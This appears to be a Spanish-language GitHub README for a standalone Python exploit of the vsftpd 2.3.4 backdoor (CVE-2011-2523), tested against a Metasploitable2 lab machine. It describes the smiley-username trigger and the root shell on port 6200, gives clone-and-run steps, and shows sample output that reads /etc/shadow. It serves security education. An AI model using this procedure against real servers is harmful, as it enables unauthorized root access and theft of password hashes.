Desarrollo de exploits desde cero en Python. Sin Metasploit. Sin frameworks. Implementación a nivel de socket sin procesar de CVEs reales contra objetivos de laboratorio autorizados.
vsftpd (Very Secure FTP Daemon) es un servidor FTP para plataformas tipo Unix, incluyendo Linux, distribuido bajo la Licencia Pública General de GNU.
En julio de 2011, se descubrió que la versión 2.3.4 de vsftpd — disponible para descarga entre el 30 de junio y el 3 de julio de 2011 — había sido comprometida. Un atacante desconocido obtuvo acceso al servidor de distribución de vsftpd e inyectó una puerta trasera directamente en el código fuente antes de que fuera distribuido a los usuarios.
Esto no fue un error en el diseño de vsftpd. Fue un ataque a la cadena de suministro — el software legítimo fue reemplazado por una versión modificada maliciosamente.
El código de la puerta trasera inyectado monitorea el campo de nombre de usuario FTP durante el inicio de sesión.
Si el nombre de usuario contiene :) (una cara sonriente), la puerta trasera genera un
shell de root vinculado al puerto 6200 en la máquina objetivo — sin
requerir autenticación.
Flujo del ataque:
Atacante → puerto 21 (FTP) → envía USER que contiene :) → se activa la puerta trasera → se abre un shell de root en el puerto 6200
Atacante → puerto 6200 → shell de root interactivo completo
Clasificación CWE: CWE-78 — Neutralización incorrecta de elementos especiales utilizados en un comando del SO (inyección de comandos del SO)
Este exploit está escrito desde cero en Python puro utilizando únicamente la biblioteca
estándar (socket). Sin Metasploit. Sin frameworks de explotación. Sin
dependencias externas.
Paso a paso:
:) para activar la puerta trasera# Clone the repo
git clone https://github.com/rushikesh-a-bhujbal/CVE-2011-2523.git
cd CVE-2011-2523
# Set your target IP inside main.py
target_ip = "YOUR_METASPLOITABLE2_IP"
# Run
python3 main.py
Salida de ejemplo:
[+] Vulnerable version confirmed. Proceeding...
[+] Backdoor triggered. Opening shell on port 6200...
whoami
root
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
cat /etc/shadow
root:
1
1/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.:14747:0:99999:7:::
exit
| Escenario | Comportamiento |
|---|---|
| Puerto 21 cerrado | Imprime "Port is closed", sale limpiamente |
| Tiempo de conexión agotado | Imprime "Connection timed out", sale limpiamente |
| Nombre de host/IP no válido | Imprime "Invalid target", sale limpiamente |
| Versión de vsftpd incorrecta | Imprime mensaje de discrepancia, sale limpiamente |
| Puerto 6200 inaccesible | Imprime mensaje de fallo de la puerta trasera, sale limpiamente |
Este exploit está desarrollado estrictamente con fines educativos y solo para investigación de seguridad autorizada.
Construido y probado exclusivamente contra una máquina virtual Metasploitable2 local en un entorno de laboratorio completamente aislado.
No utilice esto contra ningún sistema que no posea o para el cual no tenga permiso explícito por escrito para probar. El uso no autorizado es ilegal según la Ley de Fraude y Abuso Informático (CFAA) y leyes equivalentes en todo el mundo.
El autor no acepta ninguna responsabilidad por el mal uso de este código.
Rushikesh Bhujbal
Security Research & Exploit Development
GitHub